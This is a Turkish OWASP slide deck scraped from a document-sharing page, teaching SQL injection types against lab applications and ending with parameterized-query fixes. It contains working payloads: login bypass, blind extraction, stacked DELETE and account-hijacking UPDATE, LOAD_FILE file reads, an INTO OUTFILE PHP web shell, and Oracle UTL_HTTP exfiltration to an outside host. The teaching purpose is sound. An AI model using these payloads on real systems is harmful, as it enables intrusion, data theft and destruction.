51
Her Yönüyle SQL Enjeksiyonu OWASP-Türkiye Bünyamin Demir

Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

  • Upload
    others

  • View
    6

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Her Yönüyle SQL Enjeksiyonu

OWASP-Türkiye

Bünyamin Demir

Page 2: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Bünyamin Demir ( @bunyamindemir ) – OWASP Türkiye Bölüm Lideri

– Founder & CTO @ Enforsec Ltd. • Sızma Testleri Uzmanı

– Web, Mobil, Network, SCADA, Wireless,

– Sosyal Mühendislik, ATM, DoS/DDoS ve Yük testi

– Kaynak kod analizi

• Eğitmen – Web/Mobil Uygulama Güvenlik Denetimi

– Güvenli Kod Geliştirme

– Veritabanı Güvenliği

2

Page 3: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

SQL Enjeksiyonu

3

'

Page 4: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

SQL Enjeksiyonu

4

uygulamalara, güvenilir olmayan kaynaklardan gelen girdilerin kontrol edilmeden SQL

sorgusunu oluşturan cümlecik içerisinde kullanılmasından kaynaklanmaktadır.

Page 5: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Zafiyet Barındıran Örnek Uygulamalar

5

Bana … öğrencilerini getir.

Bana 5A öğrencilerini getir.

Bana 5A veya 5B öğrencilerini getir.

Page 6: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Zafiyet Barındıran Örnek Uygulamalar

6

... String className = request.getParameter("class"); String query = "SELECT * FROM students WHERE class = '" + className + "'"; ResultSet rs = stmt.execute(query); ...

... string className = class.Text; string query = "SELECT * FROM students WHERE class = '" + className + "'"; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.Fill(dt); ...

... $className = $_GET['class']; $query = "SELECT * FROM students WHERE class= '$className'"; $result = mysql_query($query); ....

Page 7: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

SQL’in Çalışması

7

Page 8: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

SQL Enjeksiyonu Çeşitleri

8

• Genel SQL Enjeksiyonu

• Union Tabanlı (Union Based) SQL Enjeksiyonu

• Hata Tabanlı (Error Based) SQL Enjeksiyonu

• Kör (Blind) SQL Enjeksiyonu

• Zaman Tabanlı (Time Based) SQL Enjeksiyonu

Page 9: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Genel SQL Enjeksiyonu

9

http://www.okul.loc/OgrenciListele.aspx?class=1

SELECT name, lastname , no FROM student WHERE class=‘1’

Page 10: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Genel SQL Enjeksiyonu

10

http://www.okul.loc/OgrenciListele.aspx?class=1' or '1'='1

SELECT name, lastname , no FROM student WHERE class=‘1’ or ‘1’=‘1’

Page 11: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Genel SQL Enjeksiyonu

11

Page 12: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

UNION Tabanlı SQL Enjeksiyonu

12

SELECT column1,column2 FROM table1 UNION SELECT column1,column2 FROM table2

“UNION” iki tabloyu birleştirir ve tüm kayıtlar tekil olacak şekilde listeler;

SELECT column1,column2 FROM table1 UNION ALL SELECT column1,column2 FROM table2

“UNION ALL” ise iki tabloyu birleştirir ve tüm kayıtları tekil olmayacak şekilde (aynı kayıttan birden fazla görme ihtimaliniz var) listeler.

Page 13: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

UNION Tabanlı SQLi - Tespiti

13

Veritabanı Hata Mesajı

MSSQL All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Oracle ORA-01789: query block has incorrect number of result columns.

MySQL The used SELECT statements have a different number of columns.

MS Access The number of columns in the two selected tables or queries of a union query do not match.

Page 14: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

UNION Tabanlı SQLi - ORDER

14

SELECT * FROM kullanici ORDER BY 1

SELECT * FROM kullanici ORDER BY 2

Veritabanı Hata Mesajı

MSSQL The ORDER BY position number NUM is out of range of the number of items in the select list.

Oracle ORA-01785: ORDER BY item must be the number of a SELECT-list expression.

MySQL Unknown column 'NUM' in 'order clause'.

MS Access Microsoft Jet database engine does not recognize '4' as a valid field name or expression.

Page 15: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

UNION Tabanlı SQLi - Tespiti

15

http://www.okul.loc/OgrenciListele.aspx?class=1

Page 16: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

UNION Tabanlı SQLi - Tespiti

16

http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT null,null,null,null,null--

Page 17: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

UNION Tabanlı SQLi - Tespiti

17

http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT 1,2,'test',null,null--

Page 18: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

UNION Tabanlı SQLi - Tespiti

18

http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT 1,2,@@version,null,null—

Page 19: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Hata Tabanlı (Error Based) SQL Enjeksiyonu

19

Page 20: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Hata Tabanlı (Error Based) SQL Enjeksiyonu

20

Page 21: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Hata Tabanlı (Error Based) SQL Enjeksiyonu

21

Page 22: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Hata Tabanlı (Error Based) SQL Enjeksiyonu

22

Page 23: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Hata Tabanlı (Error Based) SQL Enjeksiyonu

23

Page 24: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Kör (Blind) SQL Enjeksiyonu

24

http://www.davshan.loc/friend_info.php?fid=2

SELECT * FROM friends WHERE fid=2

Page 25: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Kör (Blind) SQL Enjeksiyonu

25

http://www.davshan.loc/friend_info.php?fid=2 AND 1=1

http://www.davshan.loc/friend_info.php?fid=2 AND 1=2

SELECT * FROM friends WHERE fid=2 AND 1=1

SELECT * FROM friends WHERE fid=2 AND 1=2

Page 26: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Kör (Blind) SQL Enjeksiyonu

26

... $stmt = $mysqli->prepare("SELECT F.*,U.* FROM users U INNER JOIN friends F ON (F.friend_id=U.user_id) WHERE F.friend_id=$this->friend_id AND F.user_id=? AND F.verify=1"); $stmt->bind_param('i',$this->user_id); $stmt->execute(); ....

Page 27: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Kör (Blind) SQL Enjeksiyonu İstismarı

27

Sorgu Çıktı Yorum

SELECT database() davshan Veritabanı ismi

SELECT SUBSTRING((SELECT database()),1,1) d Veritabanı isminin ilk karakteri

SELECT ASCII(SUBSTRING((SELECT database()),1,1)) 100 Veritabanı isminin ilk karakterinin ASCII değeri

Page 28: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

28

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=97

Kör (Blind) SQL Enjeksiyonu İstismarı

Page 29: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

29

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=98

Kör (Blind) SQL Enjeksiyonu İstismarı

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=99

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=100

Page 30: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

30

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),2,1))=97

Kör (Blind) SQL Enjeksiyonu İstismarı

Page 31: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Zaman Tabanlı (Time Based) SQL Enjeksiyonu

31

Page 32: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Farklı SQL İfadelerinde SQLi INSERT Cümleciği

35

Page 33: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Farklı SQL İfadelerinde SQLi INSERT Cümleciği

36

Page 34: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

Farklı SQL İfadelerinde SQLi INSERT Cümleciği

37

Page 35: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

38

UPDATE CREDITCARD SET NAME='”+name+”' WHERE USERID=1

Farklı SQL İfadelerinde SQLi UPDATE Cümleciği

a'--

UPDATE CREDITCARD SET NAME='a'-- WHERE USERID=1

Page 36: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

39

http://www.minishop.loc/creditcard?cmd=delete&cardid=29

Farklı SQL İfadelerinde SQLi DELETE Cümleciği

DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID="+cardid+"

http://www.minishop.loc/creditcard?cmd=delete&cardid=29 or 1=1

DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID=29 or 1=1

Page 37: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

40

http://www.davshan.loc/friend_info.php?fid=2

İleri Seviye SQLi İşletim Sistemi

Page 38: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

41

…/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,LOAD_FILE('c:/windows/win.ini'),3,4,5,6--

İleri Seviye SQLi İşletim Sistemi

Page 39: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

42

http://www.davshan.loc/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,3,4,5,6,"<pre><?php passthru($_GET['cmd'])?></pre>" INTO OUTFILE "C:/wamp/www/davshan/cmd.php"--

İleri Seviye SQLi İşletim Sistemi

Page 40: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

43

http://www.davshan.loc/cmd.php?cmd=systeminfo

İleri Seviye SQLi İşletim Sistemi

Page 41: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

44

SELECT UTL_HTTP.REQUEST('http://www.bunyamindemir.com/') FROM dual

İleri Seviye SQLi Kanal Dışı

/product?pid=1 or 1=UTL_HTTP.REQUEST('http://www.bunyamindemir.com/oracle/'||(select user from dual))--

171.42.19.32 - - [07/Sep/2012:00:39:54 +0300] "GET /oracle/minishop HTTP/1.1" 404 - "-"

Page 42: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

45

abc;DELETE FROM teslimat--

İleri Seviye SQLi İkinci Kademe

Page 43: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

46

public Users login (String username, String password) {

Users user = new Users(); ....

ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE username='"+username+"' and password='"+password+"'");

while (rs.next()) { user = new Users(rs.getInt("userId"),UserType.USER,rs.getString("username")); }

.... return user; }

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

Page 44: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

47

SELECT * FROM users WHERE username='a' or '1'='1'--' and password='xx'

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

Page 45: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

48

SELECT * FROM users WHERE username='a' or '1'='1' and rownum=1--' and password='xx'

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

Page 46: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

49

SELECT email, password FROM users WHERE email = '[email protected]'

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

a';UPDATE users SET email = '[email protected]' WHERE email = [email protected]

SELECT email, password FROM users WHERE email = 'a';UPDATE users SET email = '[email protected]' WHERE email = '[email protected]'

Page 47: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

50

SELECT email, password FROM users WHERE email = '[email protected]'

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

[email protected]' UNION SELECT '[email protected]',password from users--

SELECT email, password FROM users WHERE email = '[email protected]' UNION SELECT '[email protected]', password from users

Page 48: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

51

python sqlmap.py -u "http://www.minishop.loc/product?pid=1" -f --banner

Sqlmap

Page 49: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

52

... String className = request.getParameter("class"); PreparedStatement psmt = conn.prepareStatement("SELECT * FROM students WHERE class=?"); psmt.setString(1, className); ResultSet rs = psmt.executeQuery(); ...

SQLi Çözümü - Java

Page 50: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

53

... string className = class.Text; SqlCommand query = new SqlCommand("SELECT * FROM students WHERE class=@clsName", conn); query.Parameters.AddWithValue("@clsName", className);

sda = new SqlDataAdapter(query); DataTable dt = new DataTable(); sda.Fill(dt); ...

SQLi Çözümü – ASP.NET

Page 51: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,

54

... $className = $_GET['class']; $stmt = $mysqli->prepare("SELECT * FROM students WHERE class=?"); $stmt->bind_param('s',$classNames); $stmt->execute(); ....

SQLi Çözümü - PHP